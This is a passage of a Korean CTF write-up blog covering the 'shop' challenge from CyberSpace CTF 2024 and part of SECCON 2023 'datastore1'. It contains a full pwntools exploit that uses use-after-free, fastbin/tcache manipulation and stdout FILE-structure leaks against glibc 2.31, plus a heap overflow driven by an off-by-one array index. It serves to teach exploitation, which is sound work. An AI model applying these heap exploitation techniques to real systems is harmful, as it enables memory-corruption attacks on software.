    change_pw(s, p64(stack) + p64(0x8))

    # trigger ret in main
    logout(s)
    quit_(s)

    s.interactive()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()
    main(args.server, args.port, args.debug)

CyberSpace CTF 2024 - shop

2024-10-09T00:00:00+00:00

0x00. Introduction

[*] '/home/user/shop'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Concept

➜  ./shop
1. Buy a pet
2. Edit name
3. Refund
>

buy_143A()를 이용해서 heap chunk를 할당받고 할당된 주소와 size를 저장한다. 각각 전역변수에 선언된 void *ptr_4060[32], int size_4160[32]에 저장돤다.

한편 edit_1523()에서는 index를 입력받아 ptr_4060[index]에 저장된 chunk의 내용을 수정할 수 있다.

마찬가지로 refund_15F6()에서도 index를 입력받아 ptr_4060[index]에 저장된 chunk를 해제할 수 있다.

참고로 read_flag_12A9()에서 flag를 읽어서 heap에 저장하므로 쉘까지는 따지 않아도 된다.

0x01. Vulnerability

int refund_15F6()
{
  unsigned int index; // [rsp+0h] [rbp-10h]
  void *ptr; // [rsp+8h] [rbp-8h]

  printf("Index: ");
  index = read_int_13A5();
  if ( index > 31 )
    return puts("INVALID INDEX");
  ptr = (void *)ptr_4060[index];
  if ( !ptr )
    return puts("INVALID INDEX");
  free(ptr);
  size_4160[index] = 0;
  return puts("DONE");
}

refund_15F6()에서 ptr_4060[index]가 NULL이 아닌지를 검증하고 ptr을 해제한다.

이후 size_4160[index]는 0으로 초기화하지만 ptr_4060[index]는 초기화하지 않으므로 UAF 취약점이 발생한다.

0x02. Exploit

Fastbin Reverse Into Tcache

예전 버전의 glibc(<=2.26)에서는 가능했지만, 현재 docker 환경의 버전인 2.31에서는 tcache에는 double free를 방지하기 위한 mitigation이 적용되었다.

1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 1
DONE
1. Buy a pet
2. Edit name
3. Refund
> 3
Index: 0
free(): double free detected in tcache 2
[1]    97427 IOT instruction (core dumped)  ./chall

따라서 이를 우회하기 위해 fastbin reverse into tcache 기법을 사용했는데, 다음 자료들을 참고했다.

위 자료들에서는 victim chunk를 해제하고 값을 쓸 수 있는 상황을 가정했지만 이 문제에서는 size_4160[index]가 0이면 edit이 불가능하므로 fastbin dup 상황을 추가로 만들어줘야 한다.

따라서 exploit 시나리오는 다음과 같다.

Fastbin 범위의 chunk를 7개 해제하여 tcache를 꽉 채움
UAF를 이용하여 fastbin dup 생성
Chunk 7개를 할당하여 tcache를 비움
8번째 chunk를 할당받아 next_chunk 조작
조작한 next_chunk 주소가 할당될 때까지 chunk 할당 요청
할당받은 주소를 이용해 AAW

한 단계씩 payload를 작성해보면,

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

이렇게 refund를 7번 실행해서 tcache를 꽉 채우면 이후 chunk들을 fastbin으로 보내진다. 이를 이용해서 fastbin에 8 -> 9 -> 8 loop를 만든다.

    # clean tacahe 0x20
    for _ in range(7):
        buy(s, 0x10)
    
    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")

이후 tcache를 비우기 위해 buy를 7번 실행하고 한번 더 buy를 실행하면 8번째 chunk가 반환된다. 이 8번째 chunk는 buy를 하면서 size_4160[8]에 size가 저장됐을 것이므로 edit이 가능하다.

아직 heap leak을 하지 못했으므로 하위 바이트만 partial overwrite를 해서 확률적으로 heap manipulation이 가능하다.

gef➤  heap bins
─────────────────────────────────────── Tcachebins for thread 1 ───────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=3] ←  Chunk(addr=0x555555559b70, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      ←  Chunk(addr=0x555555559b50, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  
                                      ←  Chunk(addr=0x555555559640, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)

이렇게 edit에서 입력한 \x40\x96이 chunk의 next_chunk를 부분적으로 덮어서 tcache list를 조작할 수 있다.

잘 보면 tacahe list의 마지막에 0x555555559640이 오게 되는데 size가 0이다. 하지만 tcache에서 할당 시 size 검증을 하지 않아서 조작된 next_chunk의 할당이 이루어진다.

생각해보니 heap chunk를 할당할 때 사이즈와 위치를 잘 조절해서 주소를 한 바이트만 overwrite해도 되게 만들면 확률 이슈 없이 exploit이 가능할 것 같긴 하다.

    # allocate overwritten heap address
    buy(0x10)
    buy(0x10)
    buy(0x10)               # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

위 payload처럼 3번째 buy를 할 때 partial overwrite를 한 주소가 반환되며, 이를 이용해 heap에 저장된 값을 변경할 수 있다.

Unsorted Bin Attack

이후 단계를 진행하기에는 바이너리에 출력하는 부분이 하나도 없어서 leak이 불가능했다. 지금 가지고 있는 것을 생각해보면 주소를 몰라서 그렇지 next_chunk을 조작해 AAW가 가능한 상황이다.

고민을 하다가 앞서 next_chunk에 저장된 heap 주소를 partial overwrite한 것처럼 libc 주소가 저장되어 있다면 partial overwrite를 해서 libc 영역에 write를 할 수 있겠다는 생각이 들었다.

next_chunk에 libc 주소가 담기게 하는 것은 unsorted bin attack으로 가능한데, chunk를 잘 중첩시켜야 한다. 그림으로 나타내면 다음과 같다.

먼저 최종적으로는 fastbin에 있는 chunk를 이용해 AAW를 수행할 것이므로 충분한 사이즈(0x60)의 chunk를 fastbin으로 보낸다. 이 때 victim chunk를 unsorted bin으로 보내기 위해 next_chunk와의 offset이 size와 일치하도록 중간에 chunk를 잘 배치해야 한다.

또한 next_chunk가 top chunk일 경우 unsorted bin으로 가지 않고 top chunk에 병합되어버리기 때문에 이를 고려해야한다.

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

이렇게 index 7 chunk(0x555555559650)가 fastbin에 보내졌으며 뒤에 0x3a0 chunk를 할당받아 첫 번째 그림과 같은 형태가 되었다.

이제 chunk size를 overwrite하기 위해 fastbin reverse into tcache 기법을 이용한다.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

위 payload를 실행하면 두 번째 그림과 같아지며 0x555555559650 chunk를 해제시켜주면 되는데 0x555555559650를 가리키는 포인터가 하나도 없다. 해당 주소는 이미 해제된 chunk의 주소이기 때문에 다시 0x60 크기의 chunk를 할당받지 않는 한 접근할 수 없다.

따라서 fastbin reverse into tcache 기법을 한번 더 사용해서 해당 주소를 반환받는다.

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

이번에는 반환받은 주소를 edit하는게 아니라 refund를 해서 해제시켜주면 세 번째 그림과 같아진다.

gef➤  heap bins
───────────────────────────────── Fastbins for arena at 0x7ffff7fbfb80 ─────────────────────────────────
Fastbins[idx=5, size=0x70]  ←  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            ←  Chunk(addr=0x7ffff7fbfbf0, size=0x0, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA) [incorrect fastbin_index]  
                            ←  Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)  →  [loop detected]
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────── Unsorted Bin for arena at 0x7ffff7fbfb80 ───────────────────────────────
[+] unsorted_bins[0]: fw=0x555555559640, bk=0x555555559640
 →   Chunk(addr=0x555555559650, size=0x420, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.

0x555555559650 chunk는 여전히 fastbin에 있으므로 next_chunk에 담기게 된 main_arena가 다음 chunk로 해석되어 libc 영역을 할당받을 수 있게 되었다. 다만 fastbin에서는 size에 대한 검증을 하므로 0x421로 overwrite한 chunk size를 다시 원복시켜야 한다.

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

Stdout Attack

Stdout의 flag를 변경할 수 있을 때 libc leak이 가능한 기법이 있어 다음 자료를 참고했다.

stdout의 file structure flag를 이용한 libc leak

Unsorted bin attack을 잘 수행하면 0x555555559650 주소에 담긴 main_arena 주소는 다음과 같다.

gef➤  x/4gx 0x555555559650 - 0x10
0x555555559640: 0x0000000000000000      0x0000000000000071
0x555555559650: 0x00007ffff7fbfbe0      0x00007ffff7fbfbe0

한편 stdout은 libc 영역에 저장된 _IO_FILE 구조체를 가리키는데, 그 주소는 다음과 같다.

gef➤  x/6gx 0x555555558020
0x555555558020 <stdout>:        0x00007ffff7fc06a0      0x0000000000000000
0x555555558030 <stdin>:         0x00007ffff7fbf980      0x0000000000000000
0x555555558040 <stderr>:        0x00007ffff7fc05c0      0x0000000000000000

0x7ffff7fbfbe0와 0x7ffff7fc06a0는 ASLR이 없을 때는 주소값이 3바이트 차이가 나지만 ASLR이 켜져있을 때는 확률적으로 2바이트만 차이가 나므로 partial overwrite를 했을 때 1/16 확률로 exploit이 가능하다.

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

따라서 1/16 확률로 stdout의 _IO_FILE 구조체가 저장된 libc 주소를 할당받게 된다면 flag를 바꿔 libc 주소를 출력할 수 있다.

Exploit 테크닉을 요약하자면 flag에 _IO_IS_APPENDING을 추가했을 때 다음과 같이 _IO_new_do_write가 호출되므로 _IO_write_base, _IO_write_ptr을 잘 조작해주면 된다.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, f->_IO_write_base, f->_IO_write_ptr - f->_IO_write_base)

값을 변경하기 전 stdout의 _IO_FILE 구조체의 상태는 다음과 같다.

gef➤  p *(struct _IO_FILE *) 0x7ffff7fc06a0
$1 = {
  _flags = 0xfbad2887,
  _IO_read_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_read_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_ptr = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_write_end = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_base = 0x7ffff7fc0723 <_IO_2_1_stdout_+131> "\n",
  _IO_buf_end = 0x7ffff7fc0724 <_IO_2_1_stdout_+132> "",
  ...
}

참고한 자료에서는 _IO_write_base의 첫 바이트를 \x00으로 overwrite하는데, 그러면 다음과 같이 _IO_do_write가 호출될 것이다.

// _IO_do_write (FILE *fp, const char *data, size_t to_do)
_IO_do_write (stdout, 0x7ffff7fc0700, 0x23)

이 출력의 결과물로 _IO_FILE 구조체에 담겨있던 libc 주소가 출력된다.

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

위 payload를 통해 libc leak이 가능한 것으로 보아 _IO_read_XXX같은 영역은 출력을 할 때 중요하지 않는 듯하다.

이 stdout 구조체를 이용해서 AAR이 가능하고 바이너리에서 flag를 읽은 후 heap 메모리에 저장하므로 이제 heap 주소만 있으면 flag를 획득할 수 있다. Unsorted bin attack에서 next_chunk에 main_arena 주소가 담기게 한 것과 반대로 main_arena에는 heap 주소가 담겨있다. main_arena는 libc의 고정된 영역에 저장된 변수이므로 offset을 계산해서 값을 덮어주면 된다.

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)

주의해야 할 점은 _IO_write_end가 _IO_write_ptr과 같아야 출력이 된다는 점이다. 알아뒀다가 나중에 stdout을 이용해 메모리 leak을 해야할 때 활용해야겠다.

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
    r = edit(s, 25, payload)

Heap 주소를 획득한 뒤 같은 방식으로 flag를 획득할 수 있다.

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
from time import sleep
from argparse import ArgumentParser

BINARY = "chall"
LIBRARY = "libc-2.31.so"
CONTAINER = "b212a05a74cb"
code_base = 0x555555554000
bp = {
    'read_int_edit' : code_base + 0x1545,
    'read_int_refund' : code_base + 0x1618
}

index_list = [0] * 32
def print_index(op, num = 0):
    if op == "pop":
        index_list[num] = 0
        index = num
    elif op == "push":
        for _ in range(len(index_list)):
            if index_list[_] == 0:
                index_list[_] = num
                index = _
                break
    hex_numbers = [hex(num)[2:].rjust(3) for num in index_list[0:16]]
    log.info(f"{', '.join(hex_numbers)} ; {op} {index}")

def buy(s, size):
    s.sendline(b"1")
    s.sendlineafter(b"much? ", str(size).encode())
    print_index("push", size)
    return s.recvuntil(b"> ")

def edit(s, index, name):
    s.sendline(b"2")
    s.sendlineafter(b"Index: ", str(index).encode())
    s.sendafter(b"Name: ", name)
    return s.recvuntil(b"> ")

def refund(s, index):
    s.sendline(b"3")
    s.sendlineafter(b"Index: ", str(index).encode())
    print_index("pop", index)
    return s.recvuntil(b"> ")

gs = f'''
!b *{bp["read_int_refund"]}
gef config gef.bruteforce_main_arena True
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def main(server, port, debug):
    if(port):
        s = remote(server, port)
        if debug:
            pid = os.popen(f"sudo docker top {CONTAINER} -eo pid,comm | grep {BINARY} | awk '{{print $1}}'").read()
            gdb.attach(int(pid), gs, exe=BINARY, sysroot="./")
        else:
            context.log_level = "ERROR"
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        if debug:
            gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    s.recvuntil(b"> ").decode()

    # fill tcache 0x70
    for _ in range(8):
        buy(s, 0x60)
    for i in range(7):
        refund(s, i)
    buy(s, 0x3a0)           # index 0 ; align next chunk
    
    # 0x555555559650 chunk goes to fastbin
    refund(s, 7)

    # fill tcache 0x20
    for _ in range(9):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 8 -> 9 -> 8
    refund(s, 8)
    refund(s, 9)
    refund(s, 8)

    # clean tacahe 0x20
    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 8, b"\x40\x96")
    
    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 11 ; overwritten heap address

    # overwrite chunk size
    edit(s, 11, p64(0) + p64(0x421))

    # fill tcache 0x20
    for _ in range(2):
        buy(s, 0x10)
    for i in range(7):
        refund(s, i + 1)

    # fastbin dup 12 -> 13 -> 12
    refund(s, 12)
    refund(s, 13)
    refund(s, 12)

    # clean tcache 0x20
    for _ in range(7):
        buy(s, 0x10)

    # partially overwrite next_chunk
    buy(s, 0x10)
    edit(s, 12, b"\x50\x96")

    # allocate overwritten heap address
    buy(s, 0x10)
    buy(s, 0x10)
    buy(s, 0x10)            # index 15 ; overwritten heap address
    
    # free(0x555555559650) ; move chunk to unsorted bin
    refund(s, 15)

    # clean tcache 0x70
    for _ in range(7):
        buy(s, 0x60)

    # restore chunk size
    edit(s, 11, p64(0) + p64(0x71))

    # partially overwrite main_arena -> stdout
    buy(s, 0x60)
    edit(s, 22, b"\xa0\x06\xfc")    # aslr off
    # edit(s, 22, b"\xa0\x76")      # aslr on
    
    for _ in range(3):
        buy(s, 0x60)

    # leak libc
    io_is_appending = 0x1000
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x19
    r = edit(s, 25, payload)

    lib.address = u64(r[0x8:0x10]) - 0x1ec980
    log.info(f"libc : {hex(lib.address)}")
    main_arena = lib.address + 0x1ecbe0

    # leak heap - print main_arena
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(main_arena)          # _IO_write_base
    payload += p64(main_arena + 0x20)   # _IO_write_ptr
    payload += p64(main_arena + 0x20)   # _IO_write_end
    r = edit(s, 25, payload)
    
    heap = u64(r[0:8]) - 0xbc0
    log.info(f"heap : {hex(heap)}")
    flag = heap + 0x308

    # print flag
    payload = p64(0xfbad2887 | io_is_appending)
    payload += b"\x00" * 0x18
    payload += p64(flag)                # _IO_write_base
    payload += p64(flag + 0x30)         # _IO_write_ptr
    payload += p64(flag + 0x30)         # _IO_write_end
    r = edit(s, 25, payload)

    f = r.split(b'\n')[0]
    context.log_level ="DEBUG"
    log.success(f"flag : {f.decode()}")
    
    s.close()

if __name__=='__main__':
    parser = ArgumentParser()
    parser.add_argument('-s', '--server', type=str, default="0.0.0.0")
    parser.add_argument('-p', '--port', type=int)
    parser.add_argument('-d', '--debug', type=int, default=1)
    args = parser.parse_args()

    main(args.server, args.port, args.debug)

SECCON CTF 2023 Quals - datastore1

2024-10-04T00:00:00+00:00

0x00. Introduction

[*] '/home/user/datastore1'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled

Structure

typedef struct {
  type_t type;

  union {
    struct Array *p_arr;
    struct String *p_str;
    uint64_t v_uint;
    double v_float;
  };
} data_t;

typedef struct Array {
  size_t count;
  data_t data[];
} arr_t;

typedef struct String {
  size_t size;
  char *content;
} str_t;

데이터를 특이한 방식으로 저장해서 처음에 적응하기 까다로웠다. 어렵게 생각하지 말고 어떤 데이터를 data_t에 저장하는데, 데이터의 유형에 따라 다른 방식으로 저장한다고 생각하면 된다.

Concept

➜  ./datastore1

MENU
1. Edit
2. List
0. Exit
> 1

Current: <EMPTY>
Select type: [a]rray/[v]alue
> a
input size: 4

MENU
1. Edit
2. List
0. Exit
> 2

List Data
<ARRAY(4)>
[00] <EMPTY>
[01] <EMPTY>
[02] <EMPTY>
[03] <EMPTY>

입력값에 따라 heap에 데이터를 자유롭게 저장하거나 조회할 수 있다.

0x01. Vulnerability

취약점은 edit() 함수에서 Array를 다룰 때 발생한다.

static int edit(data_t *data){
  ...
  switch(data->type){
    case TYPE_ARRAY:
      arr_t *arr = data->p_arr;

      printf("index: ");
      unsigned idx = getint();
      if(idx > arr->count)
        return -1;
      ...
  }
}

입력한 idx 값이 arr->count보다 큰 지 검증하는데, 두 값이 같을 경우를 검증하지 않아 OOB가 발생한다. 예를 들어 arr->count가 4이면 data[0]~data[3]이 생성되는데, 있지도 않은 data[4]에 접근할 수 있어 arr 바로 다음 영역에 접근할 수 있다.

새삼 이 간단한 취약점으로 쉘이 따인다니 놀랍다… 역시 취약점은 우선 exploitability를 막론하고 bug를 찾는다는 관점으로 봐야하는 것 같다.

0x02. Exploit

Heap Leak

우선 취약점을 트리거하기 위해 다음과 같이 Array를 할당한다.

    edit(s, 'u', [], 'a', 1)
    edit(s, 'u', [0], 'a', 4)
    edit(s, 'u', [0, 0], 'a', 4)
    edit(s, 'u', [0, 1], 'a', 4)
    edit(s, 'u', [0, 2], 'a', 4)
    edit(s, 'u', [0, 3], 'a', 4)

여기에서 edit()의 세 번째 인자에 들어가는 list는 Array의 index를 뜻하는데, 예를 들면 다음과 같다.

[] : root->*p_arr
[0] : [00]
[0, 1] : [00] -> [01]

그러므로 edit(s, 'u', [0, 1], 'a', 4)의 의미는 “[00] -> [01] 위치에 길이가 4인 arr_t를 생성한다” 는 의미를 가진다.

이렇게 data_t 객체들을 생성하면 메모리는 다음과 같다.

# root : 0x5555555592a0
gef➤  x/2gx 0x5555555592a0
0x5555555592a0: 0x00000000feed0001      0x00005555555592c0
# []
gef➤  x/3gx 0x00005555555592c0
0x5555555592c0: 0x0000000000000001      0x00000000feed0001
0x5555555592d0: 0x00005555555592e0
# [0]
gef➤  x/9gx 0x00005555555592e0
0x5555555592e0: 0x0000000000000004      0x00000000feed0001
0x5555555592f0: 0x0000555555559330      0x00000000feed0001
0x555555559300: 0x0000555555559380      0x00000000feed0001
0x555555559310: 0x00005555555593d0      0x00000000feed0001
0x555555559320: 0x0000555555559420
# [0, 0]
gef➤  x/10gx 0x0000555555559330
0x555555559330: 0x0000000000000004      0x0000000000000000      # [0, 0, 0]
0x555555559340: 0x0000000000000000      0x0000000000000000      # [0, 0, 1]
0x555555559350: 0x0000000000000000      0x0000000000000000      # [0, 0, 2]
0x555555559360: 0x0000000000000000      0x0000000000000000      # [0, 0, 3]
0x555555559370: 0x0000000000000000      0x0000000000000051      # [0, 0, 4] < OOB
# [0, 1]
gef➤  x/9gx 0x0000555555559380
0x555555559380: 0x0000000000000004      0x0000000000000000
0x555555559390: 0x0000000000000000      0x0000000000000000
0x5555555593a0: 0x0000000000000000      0x0000000000000000
0x5555555593b0: 0x0000000000000000      0x0000000000000000
0x5555555593c0: 0x0000000000000000

Heap에서 연속적으로 chunk를 할당해주어 [0, 0]과 [0, 1]이 인접한 메모리 구조를 확인할 수 있다. 따라서 OOB 취약점을 이용해서 존재하지 않는 [0, 0, 4]에 접근하게 되면 0x555555559378~0x555555559380 영역을 overwrite할 수 있게 된다.

0x555555559378 : [0, 1] chunk의 header
0x555555559380 : [0, 1]->count

show() 함수에서 객체의 크기를 참조하여 data_t->type과 함께 출력해주므로, count에 어떤 주소가 쓰이도록 할 수 있다면 leak이 가능하다.

Current: <ARRAY(4)>
[00] <ARRAY(4)>
[01] <ARRAY(4)>
[02] <ARRAY(4)>
[03] <ARRAY(4)>

[0, 0, 4]에 새로운 arr_t를 할당할 경우, 다음과 같이 할당이 된다.

0x555555559378 : [0, 1] chunk의 header -> data_t->type
0x555555559380 : [0, 1]->count -> data_t->*p_arr

그런데 [0, 0, 4]에 접근 시 edit()에서 show() 함수를 호출해 현재 저장된 데이터의 상태를 보여준다.

static int edit(data_t *data){
  if(!data)
    return -1;

  printf("\nCurrent: ");
  show(data, 0, false);
  ...
}

이 때 data_t->type에 chunk size인 0x51이 저장되어있고 이는 type_t에 정의되지 않은 값이기 때문에 show() 함수에서 exit()이 호출되어버린다.

static int show(data_t *data, unsigned level, bool recur){
  ...
  switch(data->type){
    case TYPE_EMPTY:
      puts("<EMPTY>");
      break;
    ...
    default:
      puts("<UNKNOWN>");
      exit(1);
  }
  return 0;
}

따라서 arr_t 생성 전에 edit()의 delete를 이용하여 data_t->type으로 해석되는 값을 0으로 초기화할 필요가 있다.

    # overwrite arr_t.count of [0, 1]
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 0, 4], 'a', 2)

이렇게 overwrite에 성공하면 [0, 1]->count 부분에 새로운 arr_t 주소가 담기게 되고, show()를 이용해 값을 출력할 수 있다.

Heap Overflow

이제 arr_t로 heap leak이 가능했으니 다른 구조체인 str_t을 이용해 exploit을 시도하려고 했다.

typedef struct String {
	size_t size;
	char *content;
} str_t;

OOB를 이용해 size, *content를 덮으면 임의 주소를 read / write할 수 있겠다는 생각이 들었다.

    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x10)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

위 payload를 이용해 str_t 객체들을 할당하면 메모리 구조는 다음과 같다.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000001      0x0000000000000000      # [0, 0, 4]
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0xaf03f4adbccb3443      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021 
0x555555559500: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"

이렇게 OOB 취약점을 이용해서 [0, 2, 0]의 size와 *content를 덮고 싶어도 인접한 영역에 할당되지 않는데, create()에서 입력을 받는 방식 때문에 발생하는 문제이다.

static int create(data_t *data){
  ...
  else {        // type == 'v'
    char *buf, *endptr;

    printf("input value: ");
    scanf("%70m[^\n]%*c", &buf);
    if(!buf){
      getchar();
      return -1;
    }
    ...
    str_t *str = (str_t*)malloc(sizeof(str_t));
    if(!str){
      free(buf);
      return -1;
    }
    str->size = strlen(buf);
    str->content = buf;
    buf = NULL;

    data->type = TYPE_STRING;
    data->p_str = str;
fin:
    free(buf);
  }
  return 0;
}

scanf()를 보면 특이한 formatter를 사용하는데, m은 GNU 확장 기능 중 하나로 heap 메모리를 할당하여 입력값을 저장한다. 자세히 보면 buf에 입력을 받은 다음 주소를 str->content에 넣어놓고 free()시키는데, 어차피 buf가 NULL로 초기화되기 때문에 아무런 해제가 일어나지는 않는다.

어찌됐건 scanf()를 할 때 70바이트를 입력받기 위해 메모리를 할당하고, 입력값을 저장한 뒤 나머지 메모리는 해제하는 동작을 수행한다. 이 과정에서 heap을 사용하기 때문에 str_t보다 buf가 먼저 할당되어 인접한 영역에 [0, 2, 0]이 할당되지 않는다. 따라서 str_t의 chunk size와 동일한 크기를 가지는 chunk를 해제해두고 create()를 호출하도록 payload를 작성해야한다.

이를 위해 heap leak 과정에서 [0, 1]->count를 overwrite할 때 chunk size가 0x20이 되도록 arr_t->count가 1인 객체를 [0, 0, 4]에 생성하였다.

    # free [0, 0, 4] (0x20 chunk) and reallocate it to [0, 2, 0] (str_t, also 0x20)
    edit(s, 'd', [0, 0, 4])
    edit(s, 'u', [0, 2, 0], 'v', "A" * 0x30)
    edit(s, 'u', [0, 2, 1], 'v', "B" * 0x10)
    edit(s, 'u', [0, 2, 2], 'v', "C" * 0x10)

이렇게 payload를 작성한 뒤 메모리를 보면 다음과 같다.

gef➤  x/10gx 0x0000555555559420
0x555555559420: 0x0000000000000004      0x0000000000000000      # [0, 3]
0x555555559430: 0x0000000000000000      0x0000000000000000
0x555555559440: 0x0000000000000000      0x0000000000000000
0x555555559450: 0x0000000000000000      0x0000000000000000
0x555555559460: 0x0000000000000000      0x0000000000000021
gef➤
0x555555559470: 0x0000000000000010      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141      # [0, 2, 0]->content
0x5555555594a0: 0x0000000000000000      0x0000000000000051
0x5555555594b0: 0x0000000555555559      0x5d50bdc37f682be0      # leftover buf
gef➤
0x5555555594c0: 0x0000000000000000      0x0000000000000000
0x5555555594d0: 0x0000000000000000      0x0000000000000000
0x5555555594e0: 0x0000000000000000      0x0000000000000000
0x5555555594f0: 0x0000000000000000      0x0000000000000021
0x555555559500: 0x4242424242424242      0x4242424242424242      # [0, 2, 1]->content

이제야 [0, 2, 0]이 [0, 3]과 인접하게 할당되었으므로 OOB 취약점을 이용할 수 있다.

    # now that [0, 2, 0] is where [0, 0, 4] was, overwrite str_t.size of [0, 2, 0]
    edit(s, 'd', [0, 3, 4])
    edit(s, 'u', [0, 3, 4], 'v', 0x1000)

위 payload와 같이 [0, 3, 4]에 접근하여 v_uint로 해석되게끔 0x1000을 입력하면 메모리에 다음과 같이 저장된다.

gef➤  x/8gx 0x555555559460
0x555555559460: 0x0000000000000000      0x00000000feed0003
0x555555559470: 0x0000000000001000      0x0000555555559490      # [0, 2, 0] ; "AAAA"
0x555555559480: 0x0000000000000000      0x0000000000000021
0x555555559490: 0x4141414141414141      0x4141414141414141

str_t 구조체인 [0, 2, 0]->size 영역에 0x1000이 쓰여졌으니 이 객체를 이용하여 *content에 저장된 주소인 0x555555559490부터 0x1000바이트를 자유롭게 overwrite할 수 있다.

Libc Leak

문제를 풀 때는 뚜렷한 목적성 없이 *“heap overflow가 가능하니까 일단 chunk size를 덮어서 libc leak을 해야겠다”*고 생각했는데…

*“PIE도 켜져있고 Full Relro도 적용되어있으니 GOT overwrite는 포기하고 libc leak -> stack leak을 해서 return address를 덮어야겠다”*가 올바른 사고의 과정인 것 같다.

